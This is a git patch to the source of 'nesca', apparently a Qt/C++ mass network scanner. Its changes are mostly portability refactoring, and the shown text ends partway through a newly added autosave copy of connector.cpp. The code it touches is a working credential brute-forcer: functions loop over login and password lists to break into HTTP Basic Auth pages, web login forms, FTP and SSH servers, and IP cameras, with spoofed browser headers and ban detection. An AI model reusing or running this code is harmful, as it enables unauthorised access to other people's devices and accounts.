From 40ce14b8cc9510e2776191c2041867926afb98e9 Mon Sep 17 00:00:00 2001 From: cora48 Date: Tue, 24 Feb 2015 17:14:32 +0300 Subject: [PATCH 01/66] eclipse push --- CheckKey_Th.cpp | 16 +- CheckProxy_Th.cpp | 36 +- IRCPinger_Th.cpp | 4 +- connector.cpp | 144 +- connector.cpp.autosave | 2829 ++++++++++++++++++++++++++++++++++++++++ externData.h | 1 - externFunctions.h | 2 +- main.cpp | 4 +- mainResources.h | 18 +- nesca.pro | 60 +- nesca_3.cpp | 34 +- nesca_3.h | 9 +- nesca_3.ui | 214 ++- nesca_startModule.cpp | 146 +-- 14 files changed, 3273 insertions(+), 244 deletions(-) create mode 100644 connector.cpp.autosave diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index 901be01..6ee1ba7 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -212,9 +212,9 @@ int KeyCheckerMain() if(strstr(msg, "202 Accepted") != NULL) { -#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion + CSSOCKET(sock); if(emitIfOK == 0) stt->doEmitionStartScanIP(); @@ -224,11 +224,11 @@ int KeyCheckerMain() } else if(strstr(msg, "400 Bad Request") != NULL) { -#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion + CSSOCKET(sock); return -1; } @@ -240,12 +240,12 @@ int KeyCheckerMain() } else { -#pragma region QTGUI_Area + char header[64] = {0}; getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -#pragma endregion + CSSOCKET(sock); return -1; }; @@ -255,12 +255,12 @@ int KeyCheckerMain() } else { -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); CSSOCKET(sock); return -1; -#pragma endregion + }; }; diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp index eb7c8b0..c87746d 100644 --- a/CheckProxy_Th.cpp +++ b/CheckProxy_Th.cpp @@ -49,24 +49,24 @@ void CheckProxyLogic() if(pSock == INVALID_SOCKET) { -#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); -#pragma endregion + } else { if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) { -#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); -#pragma endregion + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) { -#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); -#pragma endregion + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") ) @@ -81,17 +81,17 @@ void CheckProxyLogic() ) { -#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); -#pragma endregion + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); ZeroMemory(precvBuff, sizeof(precvBuff)); while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) { -#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); -#pragma endregion + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL @@ -105,9 +105,9 @@ void CheckProxyLogic() ) { -#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); -#pragma endregion + proxyEnabledFlag = 1; CSSOCKET(pSock); @@ -115,9 +115,9 @@ void CheckProxyLogic() } else { -#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); -#pragma endregion + proxyEnabledFlag = 0; CSSOCKET(pSock); @@ -128,9 +128,9 @@ void CheckProxyLogic() } else { -#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); -#pragma endregion + proxyEnabledFlag = 0; CSSOCKET(pSock); @@ -140,9 +140,9 @@ void CheckProxyLogic() } else { -#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); -#pragma endregion + proxyEnabledFlag = 0; }; }; diff --git a/IRCPinger_Th.cpp b/IRCPinger_Th.cpp index 76f6b4a..aaec3e0 100644 --- a/IRCPinger_Th.cpp +++ b/IRCPinger_Th.cpp @@ -17,9 +17,9 @@ void IRCPinger_Th::run() { if(globalPinger >= 360) //6min timeout { -#pragma region QTGUI_Area + ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... "); -#pragma endregion + ircPTh->doEmitRestartIRC(); globalPinger = 0; diff --git a/connector.cpp b/connector.cpp index 0dcc020..e33d121 100644 --- a/connector.cpp +++ b/connector.cpp @@ -30,28 +30,34 @@ int _countFTPDirectories(char *recvBuff){ }; void BConInc() { - __asm - { - lock inc BrutingThrds; - }; -#pragma region QTGUI_Area +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +__asm + { + lock inc BrutingThrds; + }; +#else + asm("lock incl BrutingThrds"); +#endif + stt->doEmitionChangeBA(QString::number(BrutingThrds)); -#pragma endregion - ++BA; -}; +} void BConDec() { if(BrutingThrds > 0) { - __asm - { - lock dec BrutingThrds; - }; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + __asm + { + lock dec BrutingThrds; + }; +#else + asm("lock decl BrutingThrds"); +#endif } -#pragma region QTGUI_Area + stt->doEmitionChangeBA(QString::number(BrutingThrds)); -#pragma endregion -}; + +} bool debugWriteWait = false; void _DebugWriteHTMLToFile(char *request, char *buff) { @@ -72,7 +78,7 @@ void _DebugWriteHTMLToFile(char *request, char *buff) stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); }; debugWriteWait = false; -}; +} unsigned char tl(unsigned char d) { if(d >= 192 && d <= 223) @@ -100,13 +106,13 @@ int recvWT( FD_SET(Socket,&ReadSet); Time.tv_sec = Timeout; Time.tv_usec = 0; - *bTimedOut = FALSE; + *bTimedOut = false; n = select(Socket+1,&ReadSet,NULL,NULL,&Time); if (n > 0) { /* got some data */ return recv(Socket,Buffer,Len,0); } if (n == 0) { /* timeout */ - *bTimedOut = TRUE; + *bTimedOut = true; } return(n) ; /* trouble */ } @@ -381,11 +387,14 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcat(hRqst, path); strcat(hRqst, " HTTP/1.1\r\nHost: "); strcat(hRqst, ip); + if(port != 80){ strcat(hRqst, ":"); char tbuff[16] = {0}; - strcat(hRqst, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(hRqst, tbuff); }; + if(cookieLen != 0) { strcat(hRqst, "\r\nCookie: "); @@ -393,16 +402,14 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) }; strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); - sockaddr_in sockAddr; -#pragma region VerifyBASSL + sockaddr_in sockAddr; if(port == 443) { ZeroMemory(headerMsg, REQUEST_MAX_SIZE); _baSSLWorker(ip, hRqst, headerMsg); } -#pragma endregion - else -#pragma region VerifyBA + + else { SOCKET sock; sockAddr.sin_family = AF_INET; @@ -460,7 +467,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) }; CSSOCKET(sock); }; -#pragma endregion + if(strlen(headerMsg) == 0) @@ -527,7 +534,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) return lps; }; }; -#pragma endregion + isActive = 1; char tPass[256] = {0}; @@ -586,7 +593,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; if(cookieLen != 0) { @@ -628,7 +636,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; if(cookieLen != 0) { @@ -640,8 +649,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcat(request, encoded.c_str()); strcat(request, "\r\nConnection: close\r\n\r\n"); }; - -#pragma region BABSEQ-HTTPS + if(port == 443) { ZeroMemory(recvBuff, sizeof(recvBuff)); @@ -649,9 +657,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) _baSSLWorker(ip, request, recvBuff); dataSz = strlen(recvBuff); } -#pragma endregion - else -#pragma region BABSEQ-HTTP + + else { SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); @@ -716,7 +723,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) }; CSSOCKET(sock); }; -#pragma endregion + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); @@ -833,7 +840,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) }; }; }; -#pragma endregion + isActive = 0; strcpy(lps.login, "UNKNOWN"); @@ -957,9 +964,9 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) isActive = 0; -#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); -#pragma endregion + strcpy(lps.login, "UNKNOWN"); return lps; @@ -1198,7 +1205,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) { stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); }; -#pragma endregion + if(xx > 1) { @@ -1719,7 +1726,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcat(request, ip); strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); if(cookieLen != 0) { strcat(request, "\r\nCookie: "); @@ -1792,9 +1800,9 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcat(pass, ":"); strcat(pass, wfPassLst[j]); isActive = 0; -#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); -#pragma endregion + strcpy(lps.login, wfLoginLst[i]); strcpy(lps.pass, wfPassLst[j]); return lps; @@ -1845,14 +1853,16 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcat(request, ip); strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); if(cookieLen != 0) { strcat(request, "\r\nCookie: "); strcat(request, cookie); }; strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: "); - strcat(request, itoa(strlen(argData), b, 10)); + sprintf(b, "%d", strlen(argData)); + strcat(request, b); strcat(request, "\r\n\r\n"); strcat(request, argData); @@ -1920,9 +1930,9 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcat(pass, ":"); strcat(pass, wfPassLst[j]); isActive = 0; -#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); -#pragma endregion + strcpy(lps.login, wfLoginLst[i]); strcpy(lps.pass, wfPassLst[j]); return lps; @@ -1970,7 +1980,7 @@ lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, c return res; }; -#pragma endregion + #pragma region SSH int _sshConnect(char *user, char *pass, char *host, int port) { @@ -2103,7 +2113,7 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) isActive = 0; return -1; }; -#pragma endregion + #pragma region IPCAMWeb int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) { @@ -2297,7 +2307,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); } @@ -2312,7 +2323,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); } @@ -2331,7 +2343,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); } @@ -2350,7 +2363,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); } @@ -2365,7 +2379,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); } @@ -2376,7 +2391,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); int loginLength = strlen(login); @@ -2390,7 +2406,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) strcat(passString, pass); strcat(request, "\r\nContent-Length: "); char tempBuff[16] = {0}; - strcat(request, itoa(sz, tempBuff, 10)); + sprintf(tempBuff, "%d", sz); + strcat(request, tempBuff); strcat(request, "\r\n\r\n"); strcat(request, passString); delete []passString; @@ -2401,8 +2418,9 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) strcat(request, ip); if(port != 80){ strcat(request, ":"); - char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); int loginLength = strlen(login); @@ -2417,7 +2435,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) strcat(passString, "&submit=+Login+"); strcat(request, "\r\nContent-Length: "); char tempBuff[16] = {0}; - strcat(request, itoa(sz, tempBuff, 10)); + sprintf(tempBuff, "%d", sz); + strcat(request, tempBuff); strcat(request, "\r\n\r\n"); strcat(request, passString); delete []passString; @@ -2433,7 +2452,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); @@ -2445,7 +2465,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) if(port != 80){ strcat(request, ":"); char tbuff[16] = {0}; - strcat(request, itoa(port, tbuff, 10)); + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); int loginLength = strlen(login); @@ -2459,7 +2480,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) strcat(passString, pass); strcat(request, "\r\nContent-Length: "); char tempBuff[16] = {0}; - strcat(request, itoa(sz, tempBuff, 10)); + sprintf(tempBuff, "%d", sz); + strcat(request, tempBuff); strcat(request, "\r\n\r\n"); strcat(request, passString); delete []passString; @@ -2497,7 +2519,7 @@ lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) return res; }; -#pragma endregion + int _pingMyTarget(char *ip) { HANDLE hIcmpFile; diff --git a/connector.cpp.autosave b/connector.cpp.autosave new file mode 100644 index 0000000..4d8530e --- /dev/null +++ b/connector.cpp.autosave @@ -0,0 +1,2829 @@ +#include "STh.h" +#include +#include +#include +#include "mainResources.h" +#include "externFunctions.h" +#include "externData.h" +#include + +#if defined(Q_OS_WIN32) +#include +#include +#pragma comment(lib, "iphlpapi.lib") +#endif +int gMaxBrutingThreads = 200; +fd_set write_fs; + + +int _countFTPDirectories(char *recvBuff){ + if(strcmp(recvBuff, "dummy\r\n") == 0) return 0; + int dirCounter = 0; + if(recvBuff[strlen(recvBuff) - 1] != '\n') strcat(recvBuff, "\n"); + char *dirPtr = strstr(recvBuff, "\n"); + while(dirPtr != NULL){ + ++dirCounter; + dirPtr = strstr(dirPtr + 1, "\n"); + }; + return dirCounter; +} + +void BConInc() +{ +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +__asm + { + lock inc BrutingThrds; + }; +#else + asm("lock incl BrutingThrds"); +#endif + + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +} + +void BConDec() +{ + if(BrutingThrds > 0) + { +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + __asm + { + lock dec BrutingThrds; + }; +#else + asm("lock decl BrutingThrds"); +#endif + } + + stt->doEmitionChangeBA(QString::number(BrutingThrds)); + +} + +bool debugWriteWait = false; +void _DebugWriteHTMLToFile(char *request, char *buff) +{ + while(debugWriteWait) Sleep(50); + debugWriteWait = true; + FILE *df = fopen("./debugData.txt", "a"); + + if(df != NULL) + { + fputs(request, df); + fputs("==========================\n", df); + fputs(buff, df); + fputs("\n==========================\n==========================\n\n", df); + fclose(df); + } + else + { + stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); + }; + debugWriteWait = false; +} +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + unsigned char y = d + 32; + return y; + } + else + { + return tolower(d); + }; +}; +int recvWT( + int Socket, + char *Buffer, + int Len, + long Timeout, + int *bTimedOut + ){ + fd_set ReadSet; + int n; + struct timeval Time; + + FD_ZERO(&ReadSet); + FD_SET(Socket,&ReadSet); + Time.tv_sec = Timeout; + Time.tv_usec = 0; + *bTimedOut = false; + n = select(Socket+1,&ReadSet,NULL,NULL,&Time); + if (n > 0) { /* got some data */ + return recv(Socket,Buffer,Len,0); + } + if (n == 0) { /* timeout */ + *bTimedOut = true; + } + return(n) ; /* trouble */ +} +std::string toLowerStr(const char *str) +{ + int tsz = strlen(str); + if(tsz == 1) + { + if(str[0] == 10) return "[No data!]"; + else return str; + } + else if(tsz > 1) + { + char * strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + std::string tstr = strr; + delete []strr; + return tstr; + }; + return ""; +}; +int OpenConnection(SOCKET *sock, const char *hostname, int port) +{ + struct hostent *host; + struct sockaddr_in addr; + if(strlen(hostname) == 0) + { + return -1; + }; + if(port < 0 || port > 65535) + { + return -1; + }; + + if ( (host = gethostbyname(hostname)) == NULL ) + { + ++offlines; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + *sock = socket(PF_INET, SOCK_STREAM, 0); + ZeroMemory(&addr, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = *(long*)(host->h_addr); + if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) + { + ++offlines; + CSSOCKET(*sock); + return -1; + }; + return 0; +} + +void _baSSLWorker(char *ip, char *request, char *rvBuff) +{ + const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ + SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ + + if(ctx != NULL) + { + SOCKET sock; + SSL_CTX_set_timeout(ctx, gTimeOut); + int result = OpenConnection(&sock, ip, 443); + if(result >= 0) + { + SSL *ssl = NULL; + ssl = SSL_new(ctx); /* create new SSL connection state */ + if(ssl != NULL) + { + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + if(SSL_connect(ssl)) + { + SSL_write(ssl, request, strlen(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + char tempBuff[128] = {0}; + int x = 1; + int xx = 0; + + ZeroMemory(rvBuff, sizeof(rvBuff)); + while(xx < 512) + { + x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); + if(x <= 0) break; + Activity += x; + xx += x; + strncat(rvBuff, tempBuff, x); + ZeroMemory(tempBuff, sizeof(tempBuff)); + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); + }; + SSL_shutdown(ssl); + SSL_free(ssl); + CSSOCKET(sock); + SSL_CTX_free(ctx); /* release context */ + return; + }; + }; + CSSOCKET(sock); + SSL_CTX_free(ctx); /* release context */ + } + else + { + char buff1[512] = {0}; + char buff2[512] = {0}; + + ERR_error_string(ERR_peek_error(), buff1); + ERR_error_string(ERR_peek_last_error(), buff2); + stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); + }; +}; +char *_getAttributeValue(char *str, char *val, char *ip, int port) +{ + char res[1024] = {0}; + char *ptrStart = NULL; + char *ptrS1End = NULL; + char *ptrS2End = NULL; + + ptrStart = strstri(str, val); + if(ptrStart != NULL) + { + if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; + ptrS1End = _findFirst(ptrStart, "\""); + if(ptrS1End != NULL) + { + ptrS2End = _findFirst(ptrS1End + 1, "\""); + if(ptrS2End != NULL) + { + int sz = ptrS2End - ptrS1End - 1; + + if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); + else return ""; + + return res; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; + } + else + { + stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); + return ""; + }; +}; + +#define HASHLEN 16 +typedef char HASH[HASHLEN]; +#define HASHHEXLEN 32 +typedef char HASHHEX[HASHHEXLEN+1]; +#define IN +#define OUT +void CvtHex( + IN HASH Bin, + OUT HASHHEX Hex + ) +{ + unsigned short i; + unsigned char j; + + for (i = 0; i < HASHLEN; i++) { + j = (Bin[i] >> 4) & 0xf; + if (j <= 9) + Hex[i*2] = (j + '0'); + else + Hex[i*2] = (j + 